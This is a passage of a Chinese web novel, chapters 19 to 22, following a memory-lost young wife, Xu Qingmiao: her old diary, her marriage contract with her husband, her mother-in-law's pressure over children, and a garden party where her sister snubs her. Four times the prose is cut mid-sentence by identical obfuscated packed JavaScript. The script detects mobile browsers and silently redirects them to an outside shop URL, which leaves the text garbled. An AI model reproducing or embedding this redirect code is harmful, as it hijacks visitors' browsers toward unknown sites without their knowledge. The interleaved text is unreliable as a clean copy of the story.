幼年时光不好不坏,没有爹娘在身旁关心,但管教丝毫不少,大伯娘和祖母都会管教她,有时候祖父空闲了也会过问她看过哪些书,挨了罚她就偷偷哭将心事写下,想着等父亲回来了她要给他看,可真到了见面的那一刻,她又全然忘了,只会安安静静地跟在父亲身后听他关心她的日常起居。 再长大些,小册子就成了她的心事小记,高兴的难过的,她都爱写上两句。 她低头看回手里的邀请贴,只觉得浮光掠影、星霜荏苒,少女情怀已变换成人情世故。 这些送帖的人家,她得找人问问情况才行,哪些人家需要结交,哪些人家不可结交,她总得有数,总不能傻乎乎的去赴约或不清不楚地冷漠拒绝。 本来问许恪是最有效的,可惜他如今跟自己一样,对京城陌生如初。 祖母常年在云田也不了解,倒是王氏出身京城,她应该知道一二,转念又想到自己继母李氏。 李氏常年生活在京中,她应是懂的最多,可惜自己素来跟她难以亲近,还是不要去她眼前讨嫌了。 左思右想间,鹊枝拿了一个挂着锁的小匣子过来。 “小姐,您说的小册子就在里面,钥匙奴婢给您保管着了。” 许清妙捧起那匣子上下打量,没想到自己还将这册子给锁起来了,“那你打开吧。” 咔嚓一声,小匣子被打开,里面躺着一本没有书封的小册子,大小和她平时看得话本子差不多。 她放下手中的帖子,伸手将它拿了出来。 略一顿,又道:“鹊枝,你将这些帖子送去大夫人那里,问问她哪些是需要应对的?” 鹊枝听话地拿了帖子走远,许清妙左右瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080997|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了瞧,确定没人才打开了册子开始翻看。 前面那些年的内容,她都还记着,直接翻到成亲前开始看起。 她前后翻了翻,这三年来总共也就写了几页,相比起来前面厚厚的几十页,果然是很少写了。 她仔细地翻看着,院子里安静无人打扰,没一会她就看完了。 只见成婚前夜,她在泛黄的纸上记下了这样一句:今日与长兄约定结一世姻缘,愿我们皆如所愿。 如愿?如什么愿? 紧跟着又是一页,上面写着这样一句:洞房花烛夜,我与长兄促膝长谈,长兄果然君子也。 哦,看来他们成亲时并没有圆房。 再一页:久未提笔,今日长兄坚拒纳妾,我心中窃喜实属不该。 现在看了也有些心喜的,她默默翻过。 又一页:昨晚有意醉酒,顺利圆房,长兄赔罪,我窃喜。 许清妙脸红了:“......” 她可真大胆,可惜都没写日期,也看不出每一页隔了多久。 接下来两页都是令她看了脸红的记录,她就不念了。 再一页:快两年了,还是没有孕,愁! 后一页:再有一年无孕,祖母就要给长兄纳妾,愁! 后一页:长兄应我绝不纳妾,命我安心调养,顺其自然,长兄真好! 最后一页:救命!大夫说我宫寒难以受孕,欲哭无泪,我想给长兄生孩子! 没了,她这些简短潦草的随笔就是写了这点。 许清妙叹气,将小册子又锁了回去,这线索也太少了,谁能想到她会直接到了三年后呢,要早知道她就该事无巨细全写下来。 现在她能确定的就是:她跟长兄成亲真是有预谋有约定的,成亲后她和长兄两情相悦了,最后,她竟然宫寒而且她还想给长兄生孩子。 还好现在的她还不想,听说太疼了会要命的。 不敢想象她曾经的心情,想要不能要的苦恼,现在的她可不想有。 即便现在她对长兄很有好感,喜欢他的身姿容貌,仰慕他的才学风度,但终究还没到想为他生孩子。 大概这就是长兄说的她还没准备好吧。 院外天色不知几时暗淡,她出神的靠在躺椅上望着天空,连许恪走近都没察觉。 “想什么呢?马上起风了,回屋去吧。” 许清妙回头,只见许恪穿着一身丝绣暗纹长袍中间革带束腰,风度翩翩地站在躺椅旁,微微倾身专注地看着她。 “噢,没事,就是知道了些事情,哥哥我说与你听听?” 她打算除了那几页羞人的记录,其他的都告诉许恪,她相信曾经的自己也会在遇到难题时与丈夫沟通的。 “好,我们去书房说。” 许清妙捧着小匣子跟在许恪身后,视线不由自主往他腰上瞟。 脑海里不由自主的浮现那小册子里她曾经写下的一句话。 “曾以为玉面书生姿色好,却不知劲腰瘦臀方为郎君本色。” 她还上手摸过,确实好,比那张冰玉脸还叫人心动。 19. 第 19 章 书房灯火燃起,照亮整间屋子。 许清妙声音如珠落玉盘清脆简练地复述了一遍看过的那几页小记。 许恪端坐在宽椅上侧耳倾听,等她说完,他沉思片刻才说话。 “三娘可是因落水留下了宫寒之症?” 许清妙深以为然,“我素来身体康健,想来应该是那次落水落下的病因。” 许恪点点头:“请大夫看看好好调养,子嗣之事你不用放在心上,来日方长,不可强求。” 许清妙却不敢认同,她现在虽然不想有孕,可毕竟嫁给了长兄,如果一直不能生育,那大伯娘和祖母甚至祖父都会给长兄纳妾了。 她不想长兄纳妾。 于她于长兄都是一场灾难。 书房里一时无话,许恪站起身来,从一方小盒子中拿出一张纸来。 “你看看,这应该是我们成婚前签的契书。” 许清妙疑惑地接过他递来的薄薄一张纸,低头细看。 只见纸上是一道格式规范的契书,落款签名的是他们俩的名字,内容则是俩人约定婚后互相遵守承诺,许恪不得纳妾,不得逼迫她生育,否则她可以提出和离。 许清妙看完:“……” 这完完全全不平等契约,长兄怎么会签的? 但是这约定她打心里喜欢呀。 “哥哥,这契约书上说的还算数吗?” 许恪低头看着她,浅笑:“自然算数,三娘很满意?” 许清妙自然满意,但长兄这么点出来,她还是怪不好意思的。 “长兄不怀疑真假?这契书对你不公平。” 她有种欺负老实人的愧疚感。 许恪摇头,抬手为她抚顺垂下来的鬓发,低声道:“清妙,是我赚了,我用了最有效的方式让你果断嫁给了我。” 他甚至能猜得到,自己当初是如何用这份看起来是许清妙占便宜的契书引得她欣然同意嫁给他。 不可谓不卑劣,全是他的私心算计。 许清妙丝毫不知许恪此时心底的内疚,她只暗暗下定决心一定要加倍对长兄好。 他若不负她必不弃,保护他不被强塞妾室通房。 至于子嗣,往后再说。 夫妻二人尚在默契互相怜惜,许家正院王氏正低头抹泪。 正房里烛火通明,围着伺候的婆子丫鬟都退了出去。 许家老大许坚正端着茶碗一脸无奈的看着发妻,“这又是为何?如今回了京还有什么不满意的呢?” 夫妻多年,四个孩子都是她所出,别人房里妻妾庶子成群,他许坚唯一纳的一房妾那也早就病去了,房里伺候的通房更是少年时的旧人,也早就没让伺候,不知道她还有什么不满意的。 他自问没有何处对不起正妻的,可她总是喜欢在他面前哭,他只能一次次耐着性子哄。 哎! 许坚起身走近王氏跟前,伸出手拍了拍她后背,换了语气问道:“可是谁让你受委屈了,你直接说出来,为夫为你做主。” 王氏虽已年近四十,但保养得当,皮肤细腻白皙,一张脸上全是成熟韵味,许坚瞧了声音更放柔了。 “莫哭,哭红了眼睛明日怎么见人。”拿了她手中帕子给她擦了擦。 王氏深知丈夫脾气,做到这里就算极限了,她抹了抹眼角道:“你可知道大郎屋里已经一个多月没有夜里叫水了?” 许坚一时愣住没明白她这话里的意思,只道:“儿子儿媳屋里事我怎会知道!” 王氏瞥了他一眼,“他那屋里烧水的婆子都是我安排的,每日夜里烧的水第二日冷掉提出来,他们回云田三个月,前一个月可不是这样的,后来不知道发生了何事,直到回京前俩人都没有夜里叫水。” “他们分房就寝了?” 王氏摇头:“就是没有,我才急了,俩人平日里瞧着感情好的很,晚上睡一起还没点动静的,这叫怎么回事呀!” 许坚懂了,夫人这是要他出面去问儿子私事。 “等有空我会提点他,实在有问题了就看大夫。” 王氏瞪了许坚一眼,叹气:“你还得抽空关心关心二郎。” 许坚重新坐下端起茶碗,低头喝茶问道:“二郎又怎么了?” 说起老二,王氏就差捶胸顿足了,“二郎短短一个月内收了两房妾,老太太屋里的云竹本是做通房就可以,他非给提妾,这知根知底也就算了,可他不知道从哪个阁楼坊里带回来一个叫俞娘的歌女也要纳妾,这名声是一点不要了。” 许坚茶没喝完就撂了茶碗,不由怒道:“成何体统,你大可发卖了那等女子。” 王氏哼了一声:“你说的轻巧,你要是瞧见了那姑娘你也狠不下心,知书达理的官家女子落了风尘,不卑不亢的,平时里也不惹事,我哪狠得下心不给人活路,况且二郎也没偏爱她一人。” 许坚不解看向她,“这你也知道?” 王氏端起茶喝了一口,慢悠悠道:“云竹每日来伺候我,我自然都知道,二郎看起来对她俩都一样,一个月里每人那歇两天,多的没有。” 许坚松了口气,“那你发什么愁,二郎又沉迷女色。” “那他这般正妻没进门就有了两房妾,门当户对的人家乐意将女儿嫁进来吗?” 许坚叹道:“他自己做出来的事自己担着,说亲之事这几日就安排上,给他找个性子好能容人的,家风清正即可,其他的也别做要求了,我们也不指望他继承家业。” 王氏听他这么说,顿感凉薄,那可是亲儿子他居然说的这般轻松。 但她又通事理,知道事情到了这样也没其他余地,她们家总不能去骗娶,那反倒结亲如结仇了。 “你这心还是一如既往的硬。” 王氏又低头抹泪。 许坚头都要大了,可他瞧着王氏梨花带雨的样子几十年如一日好看。 等王氏哭够了,他二话不说将人抱了起来直接进了内室,哭声又渐起。 老夫老妻本没什么热情,可王氏就是有本事勾起他那颗冷硬的心。 * 隔日,阳光正好,雨露未散,许清妙早起带着鹊枝回了许府请安。 府里下人都对她这个不住在府里的主子毕恭毕敬,看起来过去许恪在这宅子里立过威了。 她先去了老太太院里,老太太正在院子里散步,身旁跟着锦棉和俞娘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091482|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>许清妙倍感意外,这二哥身边的人怎么跑老太太身边伺候了。 “三娘来了,去花厅里坐下歇会。” 几人进了厅里,婢女们送上帕子热茶,等喝了茶歇了气,老太太才开口问她:“怎这么早过来了。” 许清妙乖巧道:“来给祖母请安,前几日忙着收拾院子没过来,今儿再不过来看望祖母就是孙媳不孝了。” 老太太点头很受用,见她老往俞娘身上看笑道:“你不认识她,她是前司天监俞谦的孙女,俞家没了可怜她落了贱籍,幸好被你二哥遇到了,不然还不知道要遭多少罪。” 俞娘低头作揖:“奴婢感恩二公子救命之恩,无以为报只愿好好伺候老夫人。” 老太太很满意,许清妙也觉得她可怜,好好的官家小姐落得为奴为婢。 可大雍律法就是如此,落了贱籍要想脱籍就得有户籍接收,如今二哥为她脱了贱籍却也没法给她一个其他身份,只能依托在许府,而许府能给她最好的也就是一个妾的身份。 许清妙将心比心,暗暗庆幸自己是被父亲收养在了许家。 她不由对俞娘笑了笑,可惜对方眼睛垂下似是没有瞧见般。 陪着老太太喝了茶说了会话,许清妙又去了王氏那里。 到王氏院子里,却被丫鬟们拦在了门外,说是王氏还在用早膳,她便在院子里自己坐了会,片刻见大伯父一脸严肃的从屋里出来。 许清妙连忙起身见礼,许坚点了个头看了她一眼什么话都没说就走了。 许清妙自我安慰:大伯就是这个脾性,在家人晚辈面前都是一本正经不苟言笑,他肯定不是对自己不满。 又等了片刻,王氏才叫了她进去,屋里婢女忙着收拾,王氏正端坐榻上面露喜色。 许清妙暗道大伯母这是心情很好,每回大伯回来过夜第二日大伯母都是这幅模样,从内而外的高兴喜气。 “娘,儿媳给您请安来了。” 王氏笑道:“坐吧,没这么多规矩,去见过老太太了吧?” 许清妙应:“去过了,祖母正在院子里散步,锦棉和俞娘陪在一旁。” 王氏轻笑一声:“这俞娘倒是有本事凑到老太太跟前卖乖。” 许清妙倒觉得俞娘可怜,解释了一句:“祖母认得俞娘祖父,俞娘正好陪着解解闷吧。” 王氏随口问道:“她祖父是谁?” 许清妙便把老太太的话转述了一遍。 不想说完,王氏就蹙眉道:“司天监俞谦?那不是胜州俞家吗?” “娘也知道俞家吗?” 这俞家这么出名吗? 不想王氏紧接着道:“不认识,只是你父亲当初想和俞家结亲,幸好当时大郎死活不同意,非你不娶,不然咱们家也得牵扯到俞家的案子里去了。” 许清妙一脸震惊地看着王氏,这些不告诉她也行吧? 这让她往后见了俞娘多尴尬。 王氏不觉得有什么不能说,反倒宽慰她:“这人呀还是得命好,你看你从小就生得福气,往后给大郎生儿育女就功德圆满了,可要惜福。” 许清妙默默无语,只能硬生生将话题转到了各府送来的帖子上。 20. 第 20 章 京城各家送来的帖子都是夫人小姐发来的宴请帖,或游园或赏花,再或者听听小曲,总之未定亲的小娘子也能参加。 “这几户可以去,其他的找个理由推了就是,正好娘带着你一起去,顺便给二郎看看有没有合适的小娘子。” 王氏打着自己的小算盘,许清妙没意见,她也不是头一次跟着王氏出门活动了。 许清妙听完王氏对京里世家的一番介绍,算是对京城各家有了个大概了解,与许家来往的大部分也是些京官,品级都相差不大,而京里贵人皇亲国戚不在她们家的社交范围。 只是如今祖父复了原职,许恪又提拔到了太子跟前,自然有比他们家门第更高的露出愿意结交之意,而要不要结交还得问过祖父。 婆媳俩将那两家高门的帖子派人送去了老爷子院子。 帖子的事处理完了,王氏又提到家事,如今大房长媳回了京,许府中馈自然要移交回给她。 这几日李氏一直在跟王氏做交接,中馈交接完了,王氏就彻底做主后宅之事,第一件想到的就是一家人齐全后设宴庆祝下。 “既然回京了,等老二一家到了,咱们家就安排一场家宴,到时候给你几个姐妹夫家也发个帖子,让都回来吃顿饭聚聚。” 许清妙也想自家姐妹了,如今五妹妹留在了云田,大姐二姐嫁在了京城的,还有个四妹妹不知道嫁给了哪家,她也不好直接问,只待到时候见了自然知晓。 这些正事说完,王氏又含笑看着她,明明温柔好性的模样,许清妙却不由警惕起来,大伯娘可没表面上看得简单,这般看着她自然是有事。 “娘,可是还有什么话要交代儿媳?” 王氏柔柔笑了笑,带着玉镯的手清凉的握着她,低声问道:“三娘老实跟娘说,你和大郎这房中事是不是不爽利?有什么问题或者难以启齿的都跟娘说,娘是过来人能帮上你。” 许清妙微楞,等反应过来她话里意思时,面红耳赤,这管的也太宽了呀! “娘为何这么问呀?” 王氏脸上笑容淡了些,“你屋里的事又不是什么秘密,夜里叫没叫水院里伺候的人自然知道,你也别嫌娘多事,房里和谐夫妻才能和睦。” 王氏轻声细语,深知自个儿子有那洁癖的毛病,她唯一能盼着的就是儿媳妇早点开窍,黏着儿子把孩子生了,再多的比如塞人,那是下下之举了。 轻易使不得,弄巧成拙的事情她现在是不会做了,自从用香云多番试探无果她便知道儿子说的话都是真的,自己想要抱上孙子还是得从儿媳这里入手。 许清妙又羞又恼,自从跟哥哥讨论过生孩子这事后,也不那么怕催生了,可王氏今日却直接问夫妻之事,倒叫她不知如何回答是好。 “娘,我跟哥哥都没问题,您若是不信也可以去问哥哥。”左思右想只得将问题推给许恪了。 王氏也看得出来她不肯说,只能叹道:“大郎要是犯浑你也要跟娘说,子嗣之事不是小事,家里说了给你们半年时间怀孕自然说话算话,只是你们也得上心不可敷衍,别到时候弄得老太太亲自往你们屋里直接塞人,到时候老爷子和你父亲惊动了那就真没回旋余地。” 家有家规,无后便是不孝,哪里由得他们一直儿戏。 许清妙点点头,有些闷闷地回了自己宅子。 早知道王氏问这个,她就不去她那里讨没趣,可逃避也终究不是办法。 她心底里也是希望哥哥好,希望许家好的。 · 院子里静悄悄,树上虫鸣鸟叫,许清妙趴在软榻上睡着了。 门外,许恪从廊下缓缓走来,手上小心地拎着一只画着麻姑献寿图的巨大纸鸢。 鹊枝守在外间瞧见了,立马起身迎了出来。 “翰林,少夫人在里间榻上睡着了。” 许恪担心道:“可是身上有哪不舒服?”平常许清妙不会晌午前午休。 “没有,少夫人就是心情不太好。” 不等许恪细问,鹊枝自觉将许清妙在王氏屋里发生的事全部说了一遍。 “翰林,少夫人肯定是难为情了,上回我已经提醒过少夫人了,可少夫人不听奴婢的。” 许恪:“提醒什么?” 鹊枝坦然道:“奴婢提醒少夫人夜里已经多日没叫水了。” 许恪皱眉看了眼鹊枝,“知道了,你先下去吧!” 许清妙这一觉睡到午后才醒来,脑袋昏昏沉沉,半眯着眼瞥见一道熟悉的身影坐在身旁,正低头翻看着手中书卷。 他的手指修长指骨有力,午后的阳光透过叶缝,些许倾斜在他肩侧,似乎中和了他身上那股与生俱来的冷淡。 他看得专注,让她不忍开口打搅。 可是,她的视线刚落在他身上一会,他的眼睛就从书上移开看了过来。 清俊的脸上表情淡淡,只有嘴角缓缓上扬。 “睡得好吗?” 许恪搁下书卷,俯身看向她,屋外的光线被他身体挡住了,四目相接眼里都只有对方。 “嗯,睡得很好,哥哥怎么回来了?” 她想坐起身来,许恪放下书卷倾身过来扶她,俩人凑得极近,呼吸交缠。 许清妙不由看了眼他,就着他的手坐起来,耳边传来他低低的说话声。 “今日太子殿下休沐半日去郊野放纸鸢祈福,我给你也带了一个回来。” 许清妙睡眼朦胧的眼睛瞬间睁圆,两手拉着他的衣袖,欢喜道:“在哪呢?哥哥,你怎么知道我想放纸鸢!” 她还记得上一次去放纸鸢还是十三岁,二哥三哥带着她们几个妹妹在郊外的庄子玩过一回。 那时候,许恪正忙着准备乡试,祖父担心他们在家闹腾吵了长兄清净,特意让管事的带着他们去庄子里住了一段时日。 她从庄子回来时也不忘带着她亲手做的那张纸鸢,遇到长兄时虽然战战兢兢的,却还大着胆子给长兄炫耀。 “哥哥,我自己做的纸鸢,飞得最高了。” 那时候,许恪好像笑了一下,并没有理会她更多。 时隔多年,没想到他居然还记得。 “我猜的,看来猜中了。” 许恪起身从外间拿了纸鸢站在门口,眼里带笑看着她:“穿好鞋,我们在院子玩会?” 许清妙立马点头,下榻穿鞋,欢快地走到他跟前,伸出手想去够,却被他拦住。 “先用了午饭。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099911|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许清妙有些急,拉着他袖子甩了甩:“哥哥,先给我玩会!” 许恪没同意,拉着她去了饭厅用饭。 直到她吃饱喝足,才将纸鸢给她拿着。 “先陪我说会话,两刻钟后太阳没这么大了就去玩。” 许清妙低头看着手中纸鸢,一应答应。 “行,哥哥你说。” 许恪给她倒了杯茶,缓缓道:“今日见了我娘,听了些不好听的话了?” 许清妙点点头,眼睛眨了眨反问:“鹊枝跟你说的?” “嗯,三娘介意吗?” 许清妙不解道:“介意什么?” 她的瞳孔圆圆的像杏仁,眼底清澈,定定地望着他。 许恪不由低咳一声,委婉道:“夜里叫水的事,还有俞家的事。” 许清妙抿了抿红唇,歪着头脆生生道:“不介意,就是有些不好意思。” 许恪没想到她再次豁达的令人惊艳,“三娘,可不要闷在心里,哥哥都会为你做主。” 许清妙捂嘴笑,“哥哥怎么为我做主,是跟娘说以后夜里都叫水还是去跟爹说他眼光不行乱点鸳鸯谱呀!” 许恪听完,也不由摇头笑了,感叹自己担心过头了。 “那三娘有什么好主意?” 许清妙摸着手里的纸鸢,斟酌道:“过去的事我们就不提了,至于夜里叫水这事,要不哥哥就叫呗,反正用不用他们总管不着。” 至于怎么用,她可没啥头绪,反正先拖着。 许恪点头,“那就听三娘的,等明日城里那位妇科圣手回来了,哥哥就请他来为你诊断。” 许清妙没意见,既然成亲了,她总该试着往前走,有哥哥陪着她不会怯步。 话说完,俩人拿了纸鸢在院子里玩了一下午。 飞得高高的纸鸢挂在空中,附近的人家都看得见,后院的娘子丫鬟纷纷出来看。 这些许清妙自己不知晓,她只知道长兄好厉害,这么小的院子里也能把纸鸢放飞那么高。 而跟他们一墙之隔的许家后院,俞娘和云竹也站在院子里看着空中纸鸢。 “翰林跟少夫人感情真好!” 云竹羡慕地望着天空感叹,转头看了眼俞娘,清瘦窈窕的人如玉一般脆弱,却挺直了背,好看的脸上硬是装得面无表情。 可夜里云竹听过好几次她闷在被子里哭得哽咽,几次想劝她又欲言又止。 “感情好又怎样呢?世间情爱有几分真?我只恨自己当日为了几句花言巧语拒了父亲的联姻提议。” 后面的话她再说不出,当日许恪蟾宫折桂,多少闺中女郎中意状元郎。 父亲因与许坚为昔日同窗好友,想将她嫁给许恪进一步拉近两家关系。 可她自认清高拒绝了,转头却被父亲门下的得意门生迷得昏了头。 好不容易婚事定下来,家里却因祸事遭了难,郎君流放岭南,女郎落入教坊沦为贱籍,此生再无希望。 她在花楼卖唱三年,苦苦挣扎,昔日未婚夫却琵琶别抱娶了他人,更让她难堪的是,救她于火海的是许家人。 她根本不想进许家门。 可除了这里她别无生路。 21. 第 21 章 许清妙用油布将纸鸢仔细的收好,等到秋风起时,她还要拿出来玩。 有哥哥陪她玩得尽兴,心底那点小小烦恼自然跑得无影无踪。 夜里,她哼着小调躺在拔步床内,翻看着他们宅子的单独账册。她心里清楚既然许府中馈回到了王氏手里,那他们也理应搬回去住了。 到时候,两间宅子打通,她再将这边的账本交给王氏,自己就没哈需要操心的了,以后府里开支走中馈,她自己的铺子私房还是自己管着。 想想就觉得真不错! 前日,她翻看了自己的小宝箱,里面店铺房契珠宝首饰真不少,大部分是许家给的嫁妆,外加这三年许恪送的还有她自己添置的。 深知许家待她不薄,特别是自己爹,恐怕没少背着李氏给她塞东西。 细细算了算,她如今真是手里有钱,外头有地,城里有铺子,十足的小富婆。 如今既然她成了许家媳妇,往后她就要更加孝敬她爹和各房长辈。想到这里许清妙便觉得嫁给长兄真是好处多多。 她捧着账册笑得开心,抬头就见许恪洗漱完进了屋。 黑发束起,清爽利落,因天热中衣换成了轻薄的中袖中裤,更显四肢修长。 许清妙看得眼睛都没移动,她知道哥哥长得好,却还是时不时被他的风姿晃了神。 不由想起自己闺中那些姐妹,好几个都是冲着哥哥来跟她玩的。 许清妙觉得很开心,她性子慢热,有小娘子主动来找她玩,她求之不得。 “听母亲说,明日开始你要跟她去赴宴?” 许恪吹了窗台处的油灯,留下床边一盏小灯,撩开轻纱转身躺下。 最近天气转热,两人睡觉那厚厚的窗幔便没有放下,只放下一层轻纱防着蚊虫。 许清妙将账册随手放在一旁,侧头看着他,“是呀,娘说她很多年没回来了,以后这些宴会她跟我一块应付。” 说完,她又凑近他小声说道:“娘说要在宴会上给二哥相看小娘子,遇到合适的回头就去找媒人上门,娘正为了二哥婚事着急呢。” 许恪轻笑,拉着她的手放好,不让她凑太近,耳朵隐隐发热。 “那她还有精力过问我们房里的事,明日你带着娘多看几个,这样她也好忙一阵。” 许清妙了然他的意思,不由挠了挠他手心,调侃道:“哥哥耍心眼,娘要知道了肯定骂你。” 许恪抓着她手不让她乱动,忍着痒低声道:“傻子,这算什么耍心眼。” 他声音低低的一句傻子擦过耳窝,她觉得耳朵就着了火。 · 翌日,许清妙早早起身,换上藕荷色襦裙,腰间系上绣着粉荷的腰带,外罩一件嫩黄褙子,清爽凉快。 鹊枝再为她挽了个轻便的凌云髻,簪上鲜艳的丝花,明媚而清新。 “小姐会不会太素雅了?”鹊枝略有些担心,今儿见的都是些官夫人,太素了会不会被人瞧不起呢。 许清妙描了描细眉,抿上口脂,展颜一笑:“鹊枝,今儿是去秦侍郎家逛园子簪花饮酒,宴席都摆在了亭子里,穿太正式了不合适。” 鹊枝欣喜道:“那奴婢今日沾光了,也能一睹秦园风采。” 秦侍郎家的秦园是历代名园,在京里是很有名的风雅园林,不仅仅夫人小姐喜欢去游园,秦家郎君也常常宴请文人学士去园中赏景,吟诗作对。 许清妙对逛园子还是很热衷的,赏花赏草,今儿去了还能赏美人,自是一番乐事。 一番收拾,随后她乘了马车到许家大宅门口与王氏会合,俩人带着婢女婆子欢欢喜喜地往秦园去了。 不消半个时辰,许清妙跟着王氏站在了秦园入口。 只见那园子入口立着一块巨石,如一位迎客的仙人,形态稀奇,绕过巨石两侧栽着两棵金钱松,此时正值初夏,松叶郁郁葱葱,既有幽静的美景又有富贵吉祥之寓意。 那松树树荫下,站着秦家的主母秦夫人,门前小厮引着她们走近,那秦夫人便带着身后女眷亲自迎了上来。 满脸笑容,人还没走近已笑道:“许夫人多年不见,风采依旧,可还记着我这闺中旧友呀。” 王氏笑得亲切,虽心底根本不记得与这秦夫人有旧,但不妨她真诚又亲热地与人拉着手说话。 相互介绍了身边的人,秦夫人便拉着王氏往里走。 边走还边感叹:“以前你在云田,我想找你都难,如今回来了我们可得经常走动。” “那是自然。”王氏笑容得体,示意身边的许清妙也跟上。 那秦夫人见了许清妙,也露了笑:“这是你家翰林的娘子吧,三年前他俩成婚可惊艳了我们所有人呢。” 许清妙暗道:惊艳估计没有,惊吓还差不多吧,堂妹变正妻,她自己都猜得到一些流言蜚语。 不过,她还是抿着小嘴,笑着应下:“秦夫人过奖了。” 说笑间,几人走到了园中,只见布置好的花厅里已经坐了几人。 秦夫人笑道:“你们瞧瞧那是谁?” 许清妙随着秦夫人的指向看去,只见厅里坐着几个夫人,那人堆中最打眼的瞧着很眼熟。 不待许清妙认出人,王氏便笑道:“四娘也来了呀,我还道今日怕遇不到她呢,没想到秦夫人还请动了胡家大夫人呢。” 许清妙不由惊讶四妹妹变化也太大了,面白如玉,纤瘦清冷,哪里还有做姑娘时的娇憨。 厅里人见他们走近,纷纷迎了出来,众人再次见礼。 主母夫人在软凳坐下说话,媳妇们陪坐在一旁的圆凳上,许清妙故意坐到了四妹妹许清雾身旁。 夫人们笑着说话,她就低着头凑近四妹妹轻声道:“四妹妹近日可好?怎么不与我说话呢。” 许清雾抬眼撇了她一眼,冷冷道:“挺好,无甚可说的。” 许清妙不由皱眉,怎么就无甚可说了,以前虽然跟四妹妹走得没有五妹妹近,但也不至于没话说。 她不由暗道:难道自己这三年里得罪四妹妹了? 她还想说什么,许清雾已经起了身,伺候胡家夫人喝茶。 许清妙看着四妹妹不冷不热地伺候婆母,转头看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114938|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他小娘子,皆在说笑,就四妹妹像个婢女似的给胡家大夫人端茶递水。 她心里很不舒服,抬眼看向王氏,王氏正与一小娘子高兴说话,抽空往她这撇了一眼,警示她不要多话。 许清妙跟着王氏多年,自然懂她的眼神。 本轻松愉快的心情顿时变得沉闷,她不知道四妹妹嫁的胡家是哪个胡家,京城有几家胡家呢。 她心底暗暗惊起一个猜测,难道是大理寺少卿胡汇中家,那个与她定了婚事的胡家? 她猛然抬头看向四妹妹,只见她的眼底一片沉寂,根本不往自己这里看一眼。 许清妙越想越觉得可能性大,便有些坐不住了,她想找四妹妹问清楚,可如今她没有这三年记忆,根本无从问起,只怕会弄巧成拙将人得罪的更彻底。 思来想去,她还是只能见机行事。 夫人们喝了茶,又拉着一起逛园子。 今日阳光不晒,清风拂面,园中水木明瑟、葱蔚洇润,人人神清气爽,只除了她和四妹妹,四妹妹一副事不关己模样,而她处处小心观察。 可除了知道四妹妹不理她了,别无收获。 只得跟在众人身后一路走走停停,别样煎熬。 待到午宴开始,许清妙还是没勇气再找许清雾说话。 等到各自上了回家的马车时,许清妙撩起窗帘看向许清雾,清瘦的她正和婢女一起扶着胡夫人上车,然后才自己蹬着凳子上去,一个眼神也没往回看。 王氏叹道:“别看了,四娘也是自己想不开,旁人没办法。” 许清妙不解问道:“娘,四妹妹为何想不开?” 王氏捶了捶腰,说道:“三年前,大郎非要跟你成亲,可胡家那边也已经过了定,只等着你嫁过去,突然悔婚必然得罪人,本来家里也就认了,大不了上门赔罪道歉,可你二叔突然发了火非要让你四妹妹代替你嫁过去。” “胡家怎么会同意?”许清妙凑近给王氏捶腰,不解胡家怎么就同意了,要知道下定前合的是她和胡大郎的生辰八字,突然换人是犯忌讳的,几乎没有大户人家会乐意。 王氏低声道:“胡家本就是看上了大郎,自家没有适婚女郎才想着娶我们家女郎回去结两姓之好,如今换个人虽说不大乐意,但他们家也接受了,后来又重新合了你四妹妹和胡大郎的八字,俩人合得来这婚事就换成她了。” 许清妙懊恼道:“那就是说四妹妹是替我嫁给了胡家的。” 难怪她今日一个正眼都没瞧她,可都三年过去了,难道俩人都没想办法和解吗? 王氏抬眼看她奇怪道:“你不早知道吗?这会子怎么良心发现了似得,当初要没有你跟大郎的事自然不会有这么多后续了。” 许清妙愧疚地低了头,王氏怕是也在怨她。 “如今自责也没用,大郎和你也有你们的苦衷,现在家里都知道也理解,你也就别再放心上。” “今日见的小娘子都没合适的,要么太文静治不住二郎,要么太厉害恐折腾了二郎……” 王氏自个念叨,许清妙却神游千里。 22. 第 22 章 夜色渐浓,残月低垂。 